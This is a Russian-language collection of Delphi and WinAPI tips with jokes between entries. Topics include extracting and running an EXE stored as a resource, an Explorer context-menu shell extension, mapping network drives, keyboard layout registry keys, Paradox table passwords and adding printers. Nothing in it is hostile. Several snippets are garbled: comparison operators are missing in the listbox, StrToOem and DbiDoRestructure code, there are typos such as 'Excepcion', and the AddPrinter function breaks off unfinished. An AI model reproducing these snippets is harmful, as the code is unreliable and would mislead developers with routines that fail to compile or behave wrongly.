{ Published declarations }
property OnMouseLeave: TNotifyEvent read FOnMouseLeave write FOnMouseLeave;
property OnMouseEnter: TNotifyEvent read FOnMouseEnter write FOnMouseEnter;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Custom', [TBS_Label]);
end;
{ TBS_Label }
procedure TBS_Label.CMMouseEnter(var Message: TMessage);
begin
if Assigned(FOnMouseEnter) then
FOnMouseEnter(Self);
end;
procedure TBS_Label.CMMouseLeave(var Message: TMessage);
begin
if Assigned(FOnMouseLeave) then
FOnMouseLeave(Self);
end;
end.
|
Добавить EXE файл в своё приложение и запустить его.
1. Start notepad and create a .rc-file that looks like this: Starte Notepad und erstelle ein .rc-file, das etwa so aussieht:
TESTFILE EXEFILE C:\Windows\Notepad.exe |
5. In your unit write the following: In der unit, schreibe etwa das folgende:
var
Form1: TForm1;
NOTEPAD_FILE: string;
implementation
{$R *.DFM}
{$R MYRES.RES}
function GetTempDir: string;
var
Buffer: array[0..MAX_PATH] of Char;
begin
GetTempPath(SizeOf(Buffer) - 1, Buffer);
Result := StrPas(Buffer);
end;
// Extract the Resource
function ExtractRes(ResType, ResName, ResNewName: string): Boolean;
var
Res: TResourceStream;
begin
Result := False;
Res := TResourceStream.Create(Hinstance, Resname, PChar(ResType));
try
Res.SavetoFile(ResNewName);
Result := True;
finally
Res.Free;
end;
end;
// Execute the file
procedure ShellExecute_AndWait(FileName: string);
var
exInfo: TShellExecuteInfo;
Ph: DWORD;
begin
FillChar(exInfo, SizeOf(exInfo), 0);
with exInfo do
begin
cbSize := SizeOf(exInfo);
fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
Wnd := GetActiveWindow();
ExInfo.lpVerb := 'open';
lpFile := PChar(FileName);
nShow := SW_SHOWNORMAL;
end;
if ShellExecuteEx(@exInfo) then
begin
Ph := exInfo.HProcess;
end
else
begin
ShowMessage(SysErrorMessage(GetLastError));
Exit;
end;
while WaitForSingleObject(ExInfo.hProcess, 50) <> WAIT_OBJECT_0 do
Application.ProcessMessages;
CloseHandle(Ph);
end;
// To Test it
procedure TForm1.Button1Click(Sender: TObject);
begin
if ExtractRes('EXEFILE', 'TESTFILE', NOTEPAD_FILE) then
if FileExists(NOTEPAD_FILE) then
begin
ShellExecute_AndWait(NOTEPAD_FILE);
ShowMessage('Notepad finished!');
DeleteFile(NOTEPAD_FILE);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
NOTEPAD_FILE := GetTempDir + 'Notepad_FROM_RES.EXE';
end;
|
Добавляем файлы в Recent Documents list.
Предположим Вам захотелось, чтобы Ваше программа сама умела добавлять файлы "recent documents list" (для тех, кто в танке - это такая менюшка, которая появляется при нажатии на кнопку Пуск(Start) и наведении мышкой на "Документы" (Documents). Сама функция API-шная, так что применять её можно в любом компиляторе.
Добавляем следующий код в интерфейсную часть формы:
const SHARD_PIDL = 1; SHARD_PATH = 2; procedure SHAddToRecentDocs(Flags: Word; pfname: Pointer); stdcall; external 'shell32.dll' name'SHAddToRecentDocs'; |
А так выглядит вызов этой функции:
SHAddTorecentDocs(SHARD_PATH,pchar('C:\mydir\myprogram.exe'));
|
Файл 'myprogram.exe' будет добавлен в recent documents list.
Прибавить час.
Тип TDateTime, используемый для передачи даты и времени, это тип double, у которого целая часть определяет день, а дробная время от полуночи. То есть, если прибавить ко времени 1, то дата изменится на один день, а время не изменится. Если прибавить 0.5, то прибавится 12 часов. Причем этот метод работает даже в том случае, когда меняется дата, месяц или год.
procedure TForm1.Timer1Timer(Sender: TObject); begin Label1.Caption := DateTimeToStr(Time); Label2.Caption := DateTimeToStr(Time + 1 / 24); end; |
Как добавить горизонтальную полосу прокрутки в TListBox.
Компонент VCL TListBox автоматически реализует вертикальную полосу прокрутки. Полоска прокрутки появляется, когда окно списка слишком мало для показа всех элементов списка. Однако окно списка не показывает горизонтальной полосы прокрутки, когда какие-либо элементы списка имеют большую ширину, чем само окно списка. Конечно, есть возможность добавить горизонтальную полосу прокрутки. Добавьте следующий код в обработчик события OnCreate Вашей формы:
procedure TForm1.FormCreate(Sender: TObject);
var
i, MaxWidth: integer;
begin
MaxWidth := 0;
for i := 0 to ListBox1.Items.Count - 1 do
if MaxWidth then
MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]);
SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);
end;
|
Этот код находит ширину, в пикселах, самой длинной строки в окне списка. Затем он использует сообщение LB_SETHORIZONTALEXTENT для установки горизонтальной прокручиваемой ширины, в пикселах, для окна списка. Два дополнительных пиксела добавлены к MaxWidth, чтобы сдвинуть оконечные символы от правой границы окна списка.
Пример добавления пункта в контекстное меню Windows Explorer.
| Как объявил недавно основатель Microsoft Билл Гейтс, его компания пожертвует 100 млн. долларов на прививки против менингита и заболеваний дыхательных путей детям в развивающихся странах. Стало также известно, что, в рамках этой благотворительной акции, на детей будет бесплатно установлен Internet Explorer 5. |
// Откройте Delphi, выберите в меню New... Dynamic link library
// Скопируйте нижеприведенный текст DLL
// Скомпилируйте проект.
// Теперь нужно зарегистрировать полученную библиотеку.
// Наберите в командной строке regsvr32.exe sendtoweb.dll
// После этого откройте Windows Explorer и вы увидите новый
// пункт меню...
unit Sendtoweb;
// Author C Pringle Cjpsoftware.com
{ Реализация COM объекта расширения оболочки Windows Explorer. Этот
COM объект способен перенаправлять запросы компоненту TPopupMenu. Компонент
TPopupMenu должен находиться на форме MenuComponentForm.
Вы можете модернизировать код для большей гибкости.
Компонент TContextMenu регистрируется как глобальным обработчик
контекстного меню. Это достигается модификацией ключа реестра
HKEY_CLASSES_ROOT\*\ShellEx\ContextMenuHandlers.
jfl
}
interface
uses
Classes, ComServ, ComObj, ActiveX, Windows, ShlObj, Interfaces, Menus,
ShellAPI, SysUtils, registry;
type
TContextMenuFactory = class(TComObjectFactory)
public
procedure UpdateRegistry(Register: Boolean); override;
end;
TContextMenu = class(TComObject, IShellExtInit, IContextMenu)
private
FFileName: string;
function BuildSubMenu(Menu: HMENU; IndexMenu: Integer;
var IDCmdFirst: Integer): HMENU;
protected
szFile: array[0..MAX_PATH] of Char;
// Необходимо для исключения предупреждения компилятора о неоднозначности
function IShellExtInit.Initialize = IShellExtInit_Initialize;
public
{ IShellExtInit }
function IShellExtInit_Initialize(pidlFolder: PItemIDList; lpdobj:
IDataObject;
hKeyProgID: HKEY): HResult; stdcall;
{ IContextMenu }
function QueryContextMenu(Menu: HMENU;
indexMenu, idCmdFirst, idCmdLast, uFlags: UINT): HResult; stdcall;
function InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult; stdcall;
function GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
pszName: LPSTR; cchMax: UINT): HResult; stdcall;
end;
var
// Должен быть инициализирован перед регистрацией TContextMenu!
GFileExtensions: TStringList;
const
MenuCommandStrings: array[0..3] of string = (
'', '&STW Web Upload', '&STW FTPClient', '&STW Setup'
);
implementation
{ TContextMenuFactory }
{ Public }
function ReadDefaultPAth: string;
var
path: string;
Reg: TRegistry;
begin
Reg := TRegistry.CReate;
try
with Reg do
begin
RootKey := HKEY_LOCAL_MACHINE;
Path := 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths';
if KeyExists(Path) then
begin
OpenKey(Path + '\sendtoweb.exe', false);
Result := ReadString(#0);
closekey;
end;
// Ключ добавлен в реестр.
end;
finally
Reg.CloseKey;
Reg.Free;
end;
end; // Код регистрации
procedure TContextMenuFactory.UpdateRegistry(Register: Boolean);
begin
inherited UpdateRegistry(Register);
// Регистрация нашего обработчика
if Register then
begin
CreateRegKey('*\ShellEx\ContextMenuHandlers\SendToWeb', '',
GUIDToString(Class_ContextMenu));
CreateRegKey('CLSID\' + GUIDToString(ClassID) + '\' +
ComServer.ServerKey, 'ThreadingModel', 'Apartment');
end
else
begin
DeleteRegKey('*\ShellEx\ContextMenuHandlers\SendToWeb');
end;
end;
{ TContextMenu }
{ Private }
{ Построение контекстного меню с использованием хэндла существующего меню.
Если Menu = nil, мы создаем новый хэндл меню и возвращаем его как результат
функции. Заметьте, что обработчик не поддерживаетвложенные (рекурсивные)
меню. }
function TContextMenu.BuildSubMenu(Menu: HMENU; IndexMenu: Integer;
var IDCmdFirst: Integer): HMENU;
var
i: Integer;
menuItemInfo: TMenuItemInfo;
begin
if Menu = 0 then
Result := CreateMenu
else
Result := Menu;
// Подготавливаем меню
with menuitemInfo do
begin
cbSize := SizeOf(TMenuItemInfo);
fMask := MIIM_CHECKMARKS or MIIM_DATA or MIIM_ID or
MIIM_STATE or MIIM_SUBMENU or MIIM_TYPE or MIIM_CHECKMARKS;
fType := MFT_STRING;
fState := MFS_ENABLED;
hSubMenu := 0;
hbmpChecked := 0;
hbmpUnchecked := 0;
end;
for i := 0 to High(MenuCommandStrings) do
begin
if i = 0 then
menuitemInfo.fType := MFT_SEPARATOR
else
menuiteminfo.ftype := MFT_String;
if i = 1 then
menuitemInfo.fstate := MFS_ENABLED or MFS_DEFAULT
else
menuitemInfo.fstate := MFS_ENABLED;
menuitemInfo.dwTypeData := PChar(MenuCommandStrings[i]);
menuitemInfo.wID := IDCmdFirst;
InsertMenuItem(Result, IndexMenu + i, True, menuItemInfo);
Inc(IDCmdFirst);
end;
end;
{ IShellExtInit }
function TContextMenu.IShellExtInit_Initialize(pidlFolder: PItemIDList;
lpdobj: IDataObject; hKeyProgID: HKEY): HResult;
var
medium: TStgMedium;
fe: TFormatEtc;
begin
with fe do
begin
cfFormat := CF_HDROP;
ptd := nil;
dwAspect := DVASPECT_CONTENT;
lindex := -1;
tymed := TYMED_HGLOBAL;
end;
// Ошибка, если lpdobj = Nil.
if lpdobj = nil then
begin
Result := E_FAIL;
Exit;
end;
Result := lpdobj.GetData(fe, medium);
if Failed(Result) then
Exit;
// Если выбран только один файл, получаем его имя и сохраняем в
// szFile. иначе - ошибка.
if DragQueryFile(medium.hGlobal, $FFFFFFFF, nil, 0) = 1 then
begin
DragQueryFile(medium.hGlobal, 0, szFile, SizeOf(szFile));
Result := NOERROR;
end
else
Result := E_FAIL;
ReleaseStgMedium(medium);
end;
{ IContextMenu }
function TContextMenu.QueryContextMenu(Menu: HMENU;
indexMenu, idCmdFirst, idCmdLast, uFlags: UINT): HResult;
var
extension: string;
I: Integer;
idLastCommand: Integer;
begin
Result := E_FAIL;
idLastCommand := idCmdFirst;
// Получаем расширение файла и определяем, есть ли для него
// зарегистрированный обработчик
// extension := UpperCase( ( FFileName ) );
//for i := 0 to GFileExtensions.Count - 1 do
// if Pos(Lowercase(GFileExtensions[ i ]),lowercase(extension))=0 then
// begin
BuildSubMenu(Menu, indexMenu, idLastCommand);
// Return value is number of items added to context menu
Result := idLastCommand - idCmdFirst;
// Exit;
// end;
end;
function TContextMenu.InvokeCommand(var lpici:
TCMInvokeCommandInfo): HResult;
var
idCmd: UINT;
begin
if HIWORD(Integer(lpici.lpVerb)) <> 0 then
Result := E_FAIL
else
begin
idCmd := LOWORD(lpici.lpVerb);
Result := S_OK;
// Активизация диалога и подготовка к послке данных в Web
case idCmd of
1:
begin
ShellExecute(GetDesktopWindow, nil,
Pchar(ExtractFileName(ReadDefaultPath)),
Pchar('Direct' + '"' + szfile + '"'), nil, SW_SHOW);
end;
3:
begin
ShellExecute(GetDesktopWindow, nil,
Pchar(ExtractFileName(ReadDefaultPath)),
Pchar('Path'), nil, SW_SHOW);
end;
2:
ShellExecute(GetDesktopWindow, nil,
Pchar(ExtractFileName(ReadDefaultPath)),
PChar(''), nil, SW_SHOW);
else
Result := E_FAIL;
end;
end;
end;
function TContextMenu.GetCommandString(idCmd, uType: UINT;
pwReserved: PUINT; pszName: LPSTR; cchMax: UINT): HResult;
begin
// StrCopy( pszName, 'Send To The Web') ;
Result := S_OK;
end;
initialization
{ Заметьте, что в данном фрагменте мы создаем экземпляр TContextMenuFactory,
а не TComObjectFactory. }
TContextMenuFactory.Create(ComServer, TContextMenu, Class_ContextMenu,
'ContextMenu', 'Send To The Web', ciMultiInstance);
// Инициализируем список расширений
GFileExtensions := TStringList.Create;
// GFileExtensions.Add( 'setup msn' );
finalization
GFileExtensions.Free;
end.
|
Причуда AddIndex.
| Автор: Mike Orriss |
| Подведены итоги лотереи "Windows 2000": 1. Выиграла фирма MicroSoft. 2. Разыграны миллионы чайников. |
Есть глючокс с именемани индексов:
if IndexName = Fieldname then ixCaseSensitive is reqd //(по умолчанию) if IndexName <> Fieldname then ixCaseInsensitive is reqd |
Таким образом, вам нужно:
InvTbl.AddIndex('cusname', 'name', [ixCaseInsensitive]);
|
Или.
InvTbl.AddIndex('name', 'name', []);
|
Проблема с AddIndex.
| Программиста послали на военную переподготовку. Проинструктировали, дали ему винтовку и патроны. Он отстрелялся по мишени, а по радиосвязи ему сообщили, что все выстрелы вообще не задели цель. Программист несколько ошалело посмотрел на винтовку, посмотрел на мишень. Потом прикрыл пальцем конец дула и нажал на спусковой крючок. Ну, есссно, оторвало ему весь палец. Он тогда орет: - Отсюда выходит в полном порядке. Проблема, должно быть, там, у вас!.... |
Я использую следующие команды:
Table.DatabaseName := 'ABC';
Table.TableName := 'TEST';
Table.CreateTable;
{работает как часы}
Table.AddIndex('Primary','ID',[ixPrimary]);
{здесь я получаю ошибку времени выполнения}
Table.AddIndex('Number_IDX','NUMBER',[ixUnique]);
|
ID - LongInt поле NUMBER - поле типа char[15].
Добавить пункт к системному меню приложения.
Системное меню вызывается по нажатию на иконку окна. Оно содержит такие команды как "Развернуть", "Восстановить", "Переместить" и т.д. Так вот, теперь у вас появилась возможность добавлять новые пункты к системному меню приложения и обрабатывать их нажатие! Для этого воспользуемся функцией AppendMenu(). В качестве параметров этой функции нужно указать:
Дескриптор того меню, которое мы хотим изменять Флаг, контролирующий появление и поведение пункта меню. может принимать следующие значения: MF_BITMAP Для использование изображение в качестве пункта меню. Тогда послежний параметр должен содержать дескриптор изображения. MF_CHECKED Устанавливает контрольную метку возле пункта меню. MF_DISABLED Показывает, что пункт меню будет неактивным. Его нельзя будет выделить и он приобретёт серое состояние. MF_ENABLED Делает пункт меню активным. MF_GRAYED Делает пункт меню недоступным. MF_MENUBARBREAK Функция похожа на MF_MENUBREAK. Позволяет последующие пункты меню размещать в новой колонке, отделяемой от текущей вертикальной чертой. MF_MENUBREAK Позволяет последующие пункты меню размещать в новой колонке, но не отделяет их вертикальной линией. MF_OWNERDRAW Указывает, что пункт меню должен будет прорисовываться самостоятельно. До отображения меню в первый раз окно посылает сообщение WM_MEASUREITEM для того, чтобы узнать какой должна быть ширина меню. Так же посылает сообщение WM_DRAWITEM в тот момент, когда пункт меню должен обновляться. MF_POPUP Характеризует меню, которое будет открывать подменю или контекстное меню. Тогда последний параметр должен содержать дескриптор этого пункта меню. MF_SEPARATOR Отделительная горизонтальная линия. Линия не может становиться неактивной или активной. В данном случае последний параметр будет игнорироваться. MF_STRING Показывает, что пункт меню будет содержать строку, которая должна быть указана в последнем параметре. MF_UNCHECKED Снимает контрольную метку около пункта меню. Идентификатор нового пункта меню. Если значение флага MF_POPUP, тогда этот параметр должен содержать дескриптор контекстного меню. Содержание нового пункта меню. Так же зависит от значения флага. Если он содержит такие константа как MF_BITMAP, MF_OWNERDRAW или MF_STRING, тогда здесь нужно указывать: дескриптор изображения, собственную прорисовку пункта меню или строку.Если функция выполняется успешно - она возвращает значение отличное от нуля, в противном случае - 0.
Давайте разберём пример:
Создайте новой приложение и по созданию окна [Событие OnCreate()] напишите такой код:
procedure TForm1.FormCreate(Sender: TObject); begin AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, ''); AppendMenu(GetSystemMenu(Handle, FALSE), MF_STRING, SC_MyMenuItem, 'Delphi World - это КРУТО!'); end; |
Здесь мы добавляем два новых пункта в системное меню приложения. Сначала разделительную горизонтальную линию, о чём свидетельствует значение флага MF_SEPARATOR, а затем, пункт меню, который будет содержать строку. Это видно по значению флага MF_STRING. Сама строка, как вы видите указывается в последнем пункте меню. Но это ещё не всё, так же нужно предусмотреть вариант, когда пользователь нажмёт на наш новый пункт меню. Нужно генерировать новое сообщение Windows и обрабатывать его. Для этого в частных объявлениях, т.е. в директиве private напишем такой код:
private
{ Private declarations }
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
|
В разделе implementation напишем следующее:
const
SC_MyMenuItem = WM_USER + 1;
procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
if Msg.CmdType = SC_MyMenuItem then
ShowMessage('Был нажат наш пункт меню!!!')
else
inherited;
end;
|
Ну вот, вообщем-то и всё! Теперь компилируйте и тестируйте приложение.
Как добавить нужный язык в систему.
Автор: Mekan GaraДля этого необходимо изменить некоторые ключи в реестре. Например, необходимо добавить Туркменский язык. Конечно, Вам необходимо иметь файл KBD с раскладкой клавиатуры (Turkmen.kbd).
procedure TTMKBD.OkClick(Sender: TObject);
var
reg: TRegistry;
srs, dst: string;
begin
Reg := TRegistry.Create;
with Reg do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\System\CurrentControlSet\Control\keyboard layouts\00000405', True);
WriteString('layout file', 'Turkmen.kbd');
WriteString('layout text', 'Turkmen');
OpenKey('\System\CurrentControlSet\Control\Nls\Locale', True);
WriteString('00000405', 'Turkmen');
CloseKey;
finally
Free;
end;
srs := 'Turkmen.kbd';
dst := 'c:\windows\system\Turkmen.kbd';
Filecopy(srs, dst);
showmessage('Well Done it all');
close;
end;
|
Добавление строк в Memo.
| Разговаривают два активных пользователя Интернета: - Ну, как дела? - Да как тебе сказать...Все нормально вроде, вот только пальцы болят... - А с чего это вдруг? - Да вчера с друзьями в чате встретился, так всю ночь песни орали... |
Memo1.Perform( WM_SETREDRAW, 0, 0 ); // ... здесь можно добавлять строки Memo1.Perform( WM_SETREDRAW, 1, 0 ); Memo1.Refresh; |
Добавление иконки в меню.
var
Bmp1 : TPicture;
...
Bmp1 := TPicture.Create;
Bmp1.LoadFromFile('c:\where\b1.BMP');
SetMenuItemBitmaps(MenuItemTest.Handle,
0,
MF_BYPOSITION,
Bmp1.Bitmap.Handle,
Bmp1.Bitmap.Handle);
...
|
Подключение сетевого диска в Delphi.
| Автор: Josef Garvi |
| Соседи заметили, что Насреддин повадился каждую неделю посещать новую мечеть, а мечетей в городе было много. - Неужели уважаемый полагает, что молитва доходит до Аллаха из разных мест по-разному? - спросили его. - Конечно нет, - ответил мудрый Хаджа, - просто захотелось составить рейтинг провайдеров. |
Создайте кнопку с именем NetBtn и drive combo box (выпадающий список с дисками) с именем DriveBox. Затем напишите следующий обработчик события OnClick кнопки:
procedure TStartForm.NetBtnClick(Sender: TObject);
var
OldDrives: TStringList;
i: Integer;
begin
OldDrives := TStringList.Create;
// Запоминаем список дисков
OldDrives.Assign(Drivebox.Items);
// Показываем диалог подключения
if WNetConnectionDialog(Handle, RESOURCETYPE_DISK) = NO_ERROR then
begin
// Обновляем список дисков
DriveBox.TextCase := tcLowerCase;
for i := 0 to DriveBox.Items.Count - 1 do
begin
// Ищем свободный логический диск
if Olddrives.IndexOf(Drivebox.Items[i]) = -1 then
begin
// Показываем первый найденный логический диск
DriveBox.ItemIndex := i;
// Каскадируем обновление на список подключенных каталогов и др.
DriveBox.Drive := DriveBox.Text[1];
end;
end;
DriveBox.SetFocus;
end;
OldDrives.Free;
end;
|
Ну и не забудьте также добавить WinProcs и WinTypes в список используемых модулей.
Самое большое неудобство заключается в том, что у DriveComboBox отсутствует функция обновления. Меняя значение свойства TextCase, мы заставляем компонент обновляться.
Подключение сетевого диска.
| Звонок по телефону: "Включи асю!" Включаю асю, сообщение: "Посмотри почту!" Смотрю почту, письмо: "Позвони мне!" Звоню, слышу: "Включи асю!" |
//Пример открытия стандартного диалога
procedure TForm1.Button1Click(Sender: TObject);
begin
WNetConnectionDialog(Handle,RESOURCETYPE_DISK)
end;
//Так же можно подключить и принтер
procedure TForm1.Button1Click(Sender: TObject);
begin
WNetConnectionDialog(Handle,RESOURCETYPE_PRINT)
end;
//либо можно использовать следующий код
procedure TForm1.Button2Click(Sender: TObject);
var
NetResource: TNetResource;
begin
{ заполняем структуру TNetResource }
NetResource.dwType := RESOURCETYPE_DISK;
NetResource.lpLocalName := 'S:';
NetResource.lpRemoteName := '\\myserver\public';
NetResource.lpProvider := '';
{ подключаем сетевой ресурс, используя структуру TNetResource }
If ( WNetAddConnection2(NetResource,
'', {Password (if needed) or empty}
'', {User name (if needed) or empty}
CONNECT_UPDATE_PROFILE)<>NO_ERROR) Then
Raise Excepcion.Create('unable to map drive')
//так же существуют другие константы для определения возникшей ошибки
//ERROR_ACCESS_DENIED, ERROR_ALREADY_ASSIGNED, и т.д.
end;
//так же можно и отключить сетевой ресурс...
procedure TForm1.Button2Click(Sender: TObject);
begin
if WNetCancelConnection2( 'S:',0,TRUE) <> NO_ERROR then
Raise Exception.create('Error disconnecting map drive');
//соответственно можно использовать другие константы для определения ошибки
//ERROR_DEVICE_IN_USE, ERROR_NOT_CONNECTED, и т.д.
end;
|
Как подключать сетевые диски.
Автор: Vadim SaitovДержи рабочий кусок кода из программы "мэйлера" сетевой FIDO станции:
var
nw: TNetResource;
...
nw.dwType := RESOURCETYPE_DISK;
nw.lpLocalName := nil;
nw.lpRemoteName := PChar('\\' + MailServer.RemoteName + '\MAIL');
nw.lpProvider := nil;
if MailServer.Password <> '' then
Err := WNetAddConnection2(nw, PChar(MailServer.Password), nil, 0)
else
Err := WNetAddConnection2(nw, nil, nil, 0);
if Err = NO_ERROR then
begin
...
end;
MailServer.RemoteName и Password -- имя удаленного компа в сети и пароль доступа к ресурсу соответвенно.
ps.: так, как написано, ты будешь к ресурсу обращаться как к '\\Comp\Disc'. если хочешь подключить сетевой ресурс как локальный диск -- меняй nw.lpLocalName.
Pps.: когда(если) закончишь юзать сетевой диск, ставь WNetCancelConnection2.
Подключение сетевого диска 2.
Автор: Mystic WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Подключение сетевого диска.
Подсоединяет сетевой диск. Если надо, то производит отключение ранее
подсоединенного диска (опция mndoDisconnect). При отключении диска
можно дополнительно использовать опцию mndoForce для форсирования
отключения сетевого диска.
Если нужно дополнительно указывать имя пользователя и пароль, под
которым необходимо произвести подключения, следует соответсвенным
образом поменять параметры два и три при вызове функции WNetAddConnection2.
Зависимости: Windows
Автор: Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright: Mystic
Дата: 5 марта 2003 г.
***************************************************** }
type
TMapNetworkDriveOption = set of (mndoDisconnect, mndoForce);
function MapNetworkDrive(const NetworkPath: string; Letter: Char;
Option: TMapNetworkDriveOption = []): DWORD;
var
NR: TNetResource;
LocalName: string;
begin
LocalName := Letter + ':';
if mndoDisconnect in Option then
begin
Result := WNetCancelConnection2(PChar(LocalName), CONNECT_UPDATE_PROFILE,
mndoForce in Option);
if Result <> 0 then
Exit;
end;
NR.dwType := RESOURCETYPE_DISK;
NR.lpLocalName := PChar(LocalName);
NR.lpRemoteName := PChar(NetworkPath);
NR.lpProvider := nil;
Result := WNetAddConnection2(NR, nil, nil, 0);
end;
Пример использования:
MapNetwordDrive('\\MYSTICLAND\Humor', 'H');
Добавлять новые пункты меню.
Обычно, когда Вы создаёте меню в приложении, то код выглядит примерно так:
PopupMenu1 := TPopupMenu.Create(Self); Item := TMenuItem.Create(PopupMenu1); Item.Caption := 'First Menu'; Item.OnClick := MenuItem1Click; PopupMenu1.Items.Add(Item); Item := TMenuItem.Create(PopupMenu1); Item.Caption := 'Second Menu'; Item.OnClick := MenuItem2Click; PopupMenu1.Items.Add(Item); Item := TMenuItem.Create(PopupMenu1); Item.Caption := 'Third Menu'; Item.OnClick := MenuItem3Click; PopupMenu1.Items.Add(Item); Item := TMenuItem.Create(PopupMenu1); Item.Caption := '-'; PopupMenu1.Items.Add(Item); Item := TMenuItem.Create(PopupMenu1); Item.Caption := 'Fourth Menu'; Item.OnClick := MenuItem4Click; PopupMenu1.Items.Add(Item); |
Однако есть более быстрый способ! Воспользуйтесь функциями NewItem и NewLine:
PopupMenu1 := TPopupMenu.Create(Self);
with PopUpMenu1.Items do
begin
Add(NewItem('First Menu', 0, False, True, MenuItem1Click, 0, 'MenuItem1'));
Add(NewItem('Second Menu', 0, False, True, MenuItem2Click, 0, 'MenuItem2'));
Add(NewItem('Third Menu', 0, False, True, MenuItem3Click, 0, 'MenuItem3'));
Add(NewLine); // Добавляем разделитель
Add(NewItem('Fourth Menu', 0, False, True, MenuItem4Click, 0, 'MenuItem4'));
end;
|
Добавление ODBC-драйверов в Delphi.
Минимальные требования, необходимые для установки драйвера ODBC в Delphi 3.0, заключаются в наличие следующих компонентов:
Microsoft ODBC Manger
Windows 95 или NT
Delphi версии Developer или Client/Server
Поставляемый производителем драйвер ODBC (уже установленный в вашей системе)
При использовании Delphi 3.0 есть два общих метода добавления ODBC драйверов к BDE. Первым шагом при использовании любого из методов является установка постовляемого производителем драйвера ODBC в вашу систему. После этого достаточно сложного шага остальные шаги будут не такими сложными. В левой панели менеджера BDE расположен список драйверов и источников данных, которые прежде были ориентированы на использование с приложениями BDE.
Метод A: Для начала запустите из меню Windows Start BDE Administrator (он должен располагаться в папке Delphi 3.0.)
Теперь в главном меню выберите пункт Object|ODBC administrator. (будет показан спискок установленных в настоящий момент драйверов.)
Нажмите Add, выберите ODBC драйвер, для которого вы хотели бы создать источник данных, и нажмите на OK.
Затем заполните необходимую для вашего драйвера информацию. (Минимальная конфигурация требует заполнения поля Data Source Name. Вам необходимо будет заполнить по крайней мере еще одно поле, описывающее месторасположение данных. В случае таблиц Paradox и dBase это будет поле "Path" (путь), или поле "Server" (сервер) в случае конфигурирования драйвера ODBC для Interbase ODBC. Если вы используете Interbase, вы должны указать путь к файлу .GDB, если вы пользуетесь файлами Paradox или dBASE, вы должны определить месторасположение каталога с таблицами, и, наконец, если вы используете Oracle, вы указать строку, расположенную в вашем файле TNSNAMES.ORA. После того как вы это сделаете, можно считать, что виртуальный драйвер вами создан, и вы можете получить доступ к вашим файлам с базами данных через созданный вами источник данных.) Метод B: Для начала запустите из меню Windows Start BDE Administrator (он должен располагаться в папке Delphi 3.0.)
Щелкните на закладке database, затем правой кнопкой мыши на левой панели.
Щелкните в контекстном меню на пункте New, выберите тип ODBC драйвера, который вы хотите добавить, и нажмите на кнопку OK.
Снова щелкните правой кнопкой на панели database, и в появившемся контекстном меню выберите Apply.
Теперь на панели definition вы должны выбрать правильный ODBC DSN (Data Source Name, имя источника данных) и нажать apply. Оба этих метода заканчиваются способностью Delphi с помощью TDataset перехватывать живые данные.
Вы, возможно, обратили внимание на новые опции в меню Object|Options, эти опции позволяют вам выбирать для просмотра различные режимы конфигурации. Желательно в панели View в группе Select Configuration Modes включить (отметить галочками) все выключатели. При всех включенных checkbox-ах вы получите в свое распоряжение расширенный список всех драйверов и псевдонимов, доступных вам для использования. Если галочка напротив ‘virtual’ отсутствует, вы не сможете увидеть драйверы, добавленные через менеджер MS ODBC, а увидете драйверы, установленный только с помощью BDE (в соответствии с методом 2).
Добавляем пароль к таблице Paradox.
| - Алло, техотдел? Я пароль набираю - а меня не пускают. - Значит, правильно набирать надо. - Я правильно набираю! Пять звездочек! |
uses Bde, SysUtils, dbtables, windows;
function StrToOem(const AnsiStr: string): string;
begin
SetLength(Result, Length(AnsiStr));
if Length(Result) 0 then
CharToOem(PChar(AnsiStr), PChar(Result));
end;
function TablePasswort(var Table: TTable; password: string): Boolean;
var
pTblDesc: pCRTblDesc;
hDb: hDBIDb;
begin
Result := False;
with Table do
begin
if Active and (not Exclusive) then Close;
if (not Exclusive) then Exclusive := True;
if (not Active) then Open;
hDB := DBHandle;
Close;
end;
GetMem(pTblDesc, SizeOf(CRTblDesc));
FillChar(pTblDesc^, SizeOf(CRTblDesc), 0);
with pTblDesc^ do
begin
StrPCopy(szTblName, StrToOem(Table.TableName));
szTblType := szParadox;
StrPCopy(szPassword, StrToOem(Password));
bPack := True;
bProtected := True;
end;
if DbiDoRestructure(hDb, 1, pTblDesc, nil, nil, nil, False) DBIERR_NONE then Exit;
if pTblDesc nil then FreeMem(pTblDesc, SizeOf(CRTblDesc));
Result := True;
end;
|
Как программно добавить принтер.
Чтобы программно добавить принтер, необходимо воспользоваться API функцией AddPrinter, которая имеет три параметра:
Имя принтера Уровень печати Описание принтераСледующий пример является надстройкой для этой функции. Для этого необходимо знать Имя принтера, которое будет отображаться в Проводнике, имя порта, к которому подключён принтер (т.е. LPT1:), имя драйвера (прийдётся посмотреть вручную) и имя процессора печати (который обычно "winprint").
unit unit_AddPrinter;
interface
function AddAPrinter(PrinterName, PortName,
DriverName, PrintProcessor: string): boolean;
implementation
uses
SysUtils,
WinSpool,
Windows;
function AddAPrinter(PrinterName, PortName,
DriverName, PrintProcessor: string): boolean;
var
pName: PChar;
Level: DWORD;
pPrinter: PPrinterInfo2;
begin
pName := nil;
Level := 2;
New(pPrinter);
pPrinter^.pServerName := nil;
pPrinter^.pShareName := nil;
pPrinter^.pComment := nil;
pPrinter^.pLocation := nil;
pPrinter^.pDevMode := nil;
pPrinter^.pSepFile := nil;
pPrinter^.pDatatype := nil;
pPrinter^.pParameters := nil;
pPrinter^.pSecurityDescriptor := nil;
pPrinter^.Attributes := 0;
pPrinter^.Priority := 0;
pPrinter^.DefaultPriority := 0;
pPrinter^.StartTime := 0;
pPrinter^.UntilTime := 0;
pPrinter^.Status := 0;
pPrinter^.cJobs := 0;
pPrinter^.AveragePPM :=0;
pPrinter^.pPrinterName := PCHAR(PrinterName);
pPrinter^.pPortName := PCHAR(PortName);
pPrinter^.pDriverName := PCHAR(DriverName);
